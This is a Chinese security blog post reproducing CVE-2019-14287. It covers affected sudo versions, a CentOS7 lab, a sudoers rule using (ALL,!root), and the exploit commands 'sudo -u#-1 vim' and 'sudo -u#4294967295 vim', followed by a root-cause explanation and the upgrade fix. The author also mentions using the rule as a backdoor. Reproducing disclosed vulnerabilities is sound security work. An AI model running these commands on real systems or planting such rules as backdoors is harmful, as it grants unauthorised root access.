连长 's Blog

安全,渗透,红蓝对抗。潜心研究、切勿浮躁。

CVE-2019-14287 LinuxSudo权限绕过提权复现

渗透测试 0 评

0x01. 说明

管理员可以配置 sudoers 文件,来定义哪些用户可以运行哪些命令。即便限制了用户以 root 身份运行特定或任何命令,该漏洞也可允许用户绕过此安全策略,并完全控制系统。比较鸡肋,可以留后门的方式存在其中比较猥琐。

0x02. 影响范围:

sudo 1.8.28 > 以前的所有版本!
我这里复现的测试成功的版本如下,其余没有测。
CentOS7:
sudo-1.8.23-1.el7.x86_64
sudo-1.8.24-1.el7.x86_64
udo-1.8.25-1.el7.x86_64
sudo-1.8.25-2.el7.x86_64
sudo-1.8.26-1.el7.x86_64

0x03. 复现记录

复现环境

系统:CentOS7
sudo版本:1.8.23
有些版本的系统没有装sudo,安装下sudo
yum install sudo
也可以从官方下载版本安装:
https://www.sudo.ws/download.html#binary
or
https://bigsearcher.com/mirrors/sudo/packages/

-w517
新建一个测试账号并且设置好密码。
-w728
查看权限
编辑文件 vi /etc/sudoers
插入:funk ALL=(ALL,!root) /usr/bin/mkdir 或者 test ALL=(ALL, !root) /usr/bin/vim

-w862
首先试试正常能不能cat的文件?

-w744
插入 funk ALL=(ALL,!root) /usr/bin/mkdirtest ALL=(ALL, !root) /usr/bin/vim

然后我们输入

sudo -u#-1 vim

或者

sudo -u#4294967295 vim

-w599
在vim cat文件

美滋滋?

-w775

为什么要插入此条命令呢?

意为:将授权用户test在所可能出现的主机上切换到非root的所有用户执行/usr/bin/mkdir
funk ALL=(ALL,!root) /usr/bin/mkdir 解释下列

funk表示将要授权的用户

第一个ALL表示所有主机
(ALL,!root) 除root外的所有用户
/usr/bin/mkdir 表示授权的命令 命令都是使用绝对路径, 这是为了避免目录下有同名命令被执行,从而造成安全隐患。

再来看一下sudo命令执行过程 :

sudo命令:将当前用户切换到超级用户下,或切换到指定的用户下,然后以超级用户或其指定切换到的用户身份执行命令,执行完成后,直接退回到当前用户。

具体工作过程如下:   

1->当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限   

2–>确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认   
3–>若密码输入成功,则开始执行sudo后续的命令
4–>sudo -u#-1 mkdir

Sudo 开发者说到: “即便 RunAs 规约明确禁止 root 用户访问,但如果 Runas 规约文件中首先列出了 ALL 关键字,具有 sudo 权限的用户就可以使用它来以 root 身份运行任意命令。

已经知道在第一步已经走过sudoers文件,说明咱的Sudo -u#-1 or 4294967295 是拥有权限的而且sudo到非root,然后在执行sudo -u#-1 mkdir命令时将用户ID转换为用户名的函数会将-1(或无效等效的4294967295)误认为是0,而这正好是root用户User ID。此外,由于通过-u选项指定的User ID在密码数据库中不存在,因此不会运行任何PAM会话模块。

0x04. 修复及影响

该漏洞影响最新版本 1.8.28 之前的所有 Sudo 版本。
升级到 sudo 1.8.28
检索/etc/sudoers 是否存在 ALL 关键词的复合限制逻辑
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.sudo.ws/alerts/minus_1_uid.html

0x05. 利用提权

Apache Solr < 8.2.0 RCE漏洞复现
发表评论
撰写评论